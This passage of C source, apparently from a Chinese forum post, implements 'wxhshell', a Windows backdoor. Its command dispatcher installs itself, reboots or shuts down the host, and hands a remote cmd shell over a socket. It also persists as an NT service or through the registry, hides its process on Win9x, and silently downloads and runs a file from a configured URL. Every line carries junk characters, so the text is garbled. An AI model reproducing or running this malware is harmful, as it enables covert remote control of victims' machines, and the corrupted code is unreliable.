  else { t{=i=K 3  
M@~ o6^  
    switch(cmd[0]) { 7O461$4v  
  4OEKx|:5n  
  // 帮助 =43d%N  
  case '?': { HZuiVW8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fM{1Os  
    break; A^cU$V%?W  
  } B<+pg  
  // 安装 \=8=wQv  
  case 'i': { #gI&lO*\gr  
    if(Install()) <Cr8V'c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L"^.0*X/d  
    else ~T&% VvI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (!ZV9S  
    break; L1F###c  
    } g9|qbKQ:[  
  // 卸载 xDLMPo&  
  case 'r': { !Y|8z\ Q  
    if(Uninstall()) fPrb%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ivjw<XP6K  
    else IwM8#6;S~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w~{| S7/  
    break; >3+FZ@.iT  
    } V*~423  
  // 显示 wxhshell 所在路径 X/wmKi  
  case 'p': { C{)HlOW  
    char svExeFile[MAX_PATH]; = uk`pj  
    strcpy(svExeFile,"\n\r"); |f3U%2@  
      strcat(svExeFile,ExeFile); [%t3[p<)O  
        send(wsh,svExeFile,strlen(svExeFile),0); enPLaiJ'|q  
    break; 94+/wzWvi  
    } W'V@  
  // 重启 >"bnpYSe  
  case 'b': { -+' #*V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); } m6\C5  
    if(Boot(REBOOT)) 5=m3J !?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T aEt  
    else { k}-]W@UCa?  
    closesocket(wsh); ]xI?,('_m  
    ExitThread(0); PC[cHgSYU  
    } gjQ=8&i  
    break; $^K]&Mft  
    } p6 <}3m$  
  // 关机 O!yakU+  
  case 'd': { r/^tzH's  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0w'|d@*wV  
    if(Boot(SHUTDOWN)) }ymc5-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;fj9 n-  
    else { rWqkdi1  
    closesocket(wsh); %P(;8sS  
    ExitThread(0); Kc-Y  
    } Gxo# !  
    break; n+X1AOE[L  
    }  :4{Qh  
  // 获取shell v8>!Gft  
  case 's': { o|0 '0P  
    CmdShell(wsh); Ogd8!'\  
    closesocket(wsh); ;C+cE#   
    ExitThread(0); e/ WBgiLw  
    break; U|9U(il  
  } [4ee <J  
  // 退出 T ^N L:78  
  case 'x': { t18UDR{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v&e-`.xR  
    CloseIt(wsh); %8a=mQl1^  
    break; q%DVDq( z  
    } 1Jl{1;c  
  // 离开 @uoT{E[  
  case 'q': { HRj7n<>L=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WBy[m ?d  
    closesocket(wsh); <8g=BWA  
    WSACleanup(); !8we8)7  
    exit(1); L#`7FaM?  
    break; >kt~vJI  
        } {ip=iiW2  
  } #>@<n3rq  
  } 0GS{F8f~,  
U) +?$ Tbm  
  // 提示信息 T.J`S(oI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fVG$8tB  
} y#&$ f  
  }  xQX<w\s  
+O&RBEa[  
  return; 3Ca \`m)l  
} p "/(>8  
tF<^9stM  
// shell模块句柄 #"hJpyW 4V  
int CmdShell(SOCKET sock) O >nK ,.  
{ ZGA)r0] P`  
STARTUPINFO si; :jBZK=3F>  
ZeroMemory(&si,sizeof(si)); Q@7l"8#[t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ESn6D@"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qk+=znJ  
PROCESS_INFORMATION ProcessInfo; W]Y@WKeT  
char cmdline[]="cmd"; ]cn/(U`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +{5JDyh0  
  return 0; eVZa6la"  
} .4H_Zt[2  
f3/SO+Me}  
// 自身启动模式 &t~zD4u B  
int StartFromService(void) <9ePi9D(  
{ h U 9\y  
typedef struct N 9c8c  
{ :a#F  
  DWORD ExitStatus; N$C{f;xV  
  DWORD PebBaseAddress; L[CU  
  DWORD AffinityMask; @>M8Pe  
  DWORD BasePriority; &/sGh0  
  ULONG UniqueProcessId; oK#\HD4U  
  ULONG InheritedFromUniqueProcessId; LKIW*M  
}   PROCESS_BASIC_INFORMATION; C(EYM$  
z\e>DdS  
PROCNTQSIP NtQueryInformationProcess; XyvZ&d6(d  
j|&{e91,?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vxp$#3 ;S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O|HIO&M  
<sgZ3*,A  
  HANDLE             hProcess; 5dg-d\ 6S  
  PROCESS_BASIC_INFORMATION pbi; UN-T ^  
\R6;Fef  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E}]I%fi  
  if(NULL == hInst ) return 0; F5<"ktnI  
G /NT e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;[FW!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  KYnW7|*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sg/:n,68  
!S~,> ,yd  
  if (!NtQueryInformationProcess) return 0; O3_D~O ."  
_L?v6MTj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b^uP^](J  
  if(!hProcess) return 0; >r;ABz/  
R#"U/8b>z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %T`4!:vy  
q :TZ=bs^  
  CloseHandle(hProcess); X*TuQ\T  
L{cK^ ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^;0~6uBEJr  
if(hProcess==NULL) return 0; H @_eFlT t  
4$0jz'  
HMODULE hMod; A Oby*c  
char procName[255]; \?bwm&6+r  
unsigned long cbNeeded; [ED!J~lg8  
WpXODkQL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 66I|0_  
>&$$(Bp  
  CloseHandle(hProcess); mgJShn8]  
B0-4 ZT  
if(strstr(procName,"services")) return 1; // 以服务启动 ."~7 \E> t  
lAdOC5+JX  
  return 0; // 注册表启动 t7{L[C$  
} RnMBGxa  
@m+pr\h(  
// 主模块 GCcwEl!K^  
int StartWxhshell(LPSTR lpCmdLine) e#l*/G*,  
{ g0^~J2sDd  
  SOCKET wsl; >Sc$R0  
BOOL val=TRUE; mA&RN"+V  
  int port=0; F3k C"H  
  struct sockaddr_in door; S% JNxT7'  
&,W_#l{  
  if(wscfg.ws_autoins) Install(); D}zOuB,S  
gGtep*k  
port=atoi(lpCmdLine); YH /S2D  
!Z#_X@NFc  
if(port<=0) port=wscfg.ws_port; D__lqboz  
anHBy SI3  
  WSADATA data; hKk\Y{wv'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /2g)Z!&+L  
%k/ k]: s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iYO wB'z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (t]lP/  
  door.sin_family = AF_INET; LP5eFl`|T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^4u3Q  
  door.sin_port = htons(port); m&Y; /kr  
8CHb~m@^$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .nj?;).  
closesocket(wsl); Rz<d%C;R  
return 1; A2g"=x[1@K  
} }XfS#Xr1aV  
o9U0kI=W  
  if(listen(wsl,2) == INVALID_SOCKET) { GN htnB  
closesocket(wsl); 6MLN>)t  
return 1; >>oASo  
} dD/29b(  
  Wxhshell(wsl); s,UN'~e1  
  WSACleanup(); l|@/?GaH  
GibggOj2Q,  
return 0; ^}i5 0SG:y  
xZ9}8*Q&:  
} :GwSs'$O  
;kyL>mV{  
// 以NT服务方式启动 }S~ysQwT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >wg9YZ~8  
{ }@ O|RkY  
DWORD   status = 0; O84v*=uA  
  DWORD   specificError = 0xfffffff; !1a|5 xrn  
b'Fx),  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (ybtXoQs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; br34Eh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O?C-nw6kP  
  serviceStatus.dwWin32ExitCode     = 0; <FUqD0sQ  
  serviceStatus.dwServiceSpecificExitCode = 0; |xsV(jK8  
  serviceStatus.dwCheckPoint       = 0; AiyvHt  
  serviceStatus.dwWaitHint       = 0; f>\bUmk(  
Z]7;u>2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \U)2 Tg  
  if (hServiceStatusHandle==0) return; 3PvZ_!G  
P`Hd*xh".j  
status = GetLastError(); _V_8p)%  
  if (status!=NO_ERROR) a'_MhJzs  
{ \p>]G[g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y^c,mK^  
    serviceStatus.dwCheckPoint       = 0; X]JpS  
    serviceStatus.dwWaitHint       = 0; C0t+Q  
    serviceStatus.dwWin32ExitCode     = status; ,E*a$cCw  
    serviceStatus.dwServiceSpecificExitCode = specificError; ? RR Srr1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e6{[o@aM{  
    return; \J,- <wF  
  } xY\*L:TwW  
h9Tf@]W   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y2=Brtc[@  
  serviceStatus.dwCheckPoint       = 0; Oi kU$~|  
  serviceStatus.dwWaitHint       = 0; jM3Y|}+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !_XU^A>  
} F9u:8;\@`  
rB.=f[aX[  
// 处理NT服务事件,比如:启动、停止 I9:G9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >?G|Yz*kEJ  
{ F653[[eQ  
switch(fdwControl) XvA0nEi  
{ b2}QoJ@`  
case SERVICE_CONTROL_STOP: #czyr@  
  serviceStatus.dwWin32ExitCode = 0; -~<q,p"e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5,0 wj0l  
  serviceStatus.dwCheckPoint   = 0; E+^} B/"  
  serviceStatus.dwWaitHint     = 0; T}w*K[z $  
  { AjL?Qh4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LRCS)UBY(.  
  } zgq_0w~X  
  return; MUCJ/GF*  
case SERVICE_CONTROL_PAUSE: v' 9(et  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c5=v`hv  
  break; Mk'n~.mb  
case SERVICE_CONTROL_CONTINUE: /,rF$5G,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #5ohmp,u  
  break; SQ^^1.V&/Y  
case SERVICE_CONTROL_INTERROGATE: '&pf  
  break; ld!6|~0U  
}; O)U$Ef  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {0)WS}&  
} /8$1[[[  
r.a9W? (E  
// 标准应用程序主函数 o%4&1^ Vg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m mJ)m  
{ XZep7d}  
[KimY  
// 获取操作系统版本 PO%yWns30o  
OsIsNt=GetOsVer(); g<hv7?"[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XD+cs.{5  
* 0&i'0>  
  // 从命令行安装 1VjeP *  
  if(strpbrk(lpCmdLine,"iI")) Install(); {M)3GsP?  
+}(B856+  
  // 下载执行文件 $^NWzc  
if(wscfg.ws_downexe) { WfTdD.Xx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uG(~m_7Hx  
  WinExec(wscfg.ws_filenam,SW_HIDE); D25gg  
} {o5K?Pb  
9A} kkMB:  
if(!OsIsNt) { j0pvLZjM  
// 如果时win9x,隐藏进程并且设置为注册表启动 :_~PU$%0  
HideProc(); H%NLL4&wu  
StartWxhshell(lpCmdLine); ZB^4(F')H  
} :E >n)_^  
else 7>2j=Y_Kp  
  if(StartFromService()) S"KTL*9D  
  // 以服务方式启动 ~\)&{ '  
  StartServiceCtrlDispatcher(DispatchTable); d'AviW>  
else E9Xk8w'+  
  // 普通方式启动 /_k hFw  
  StartWxhshell(lpCmdLine); ,],JI|Rl8c  
kXZV%mnT7  
return 0; UB&S 2g  
}
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只看该作者 1 发表于: 2006-10-10
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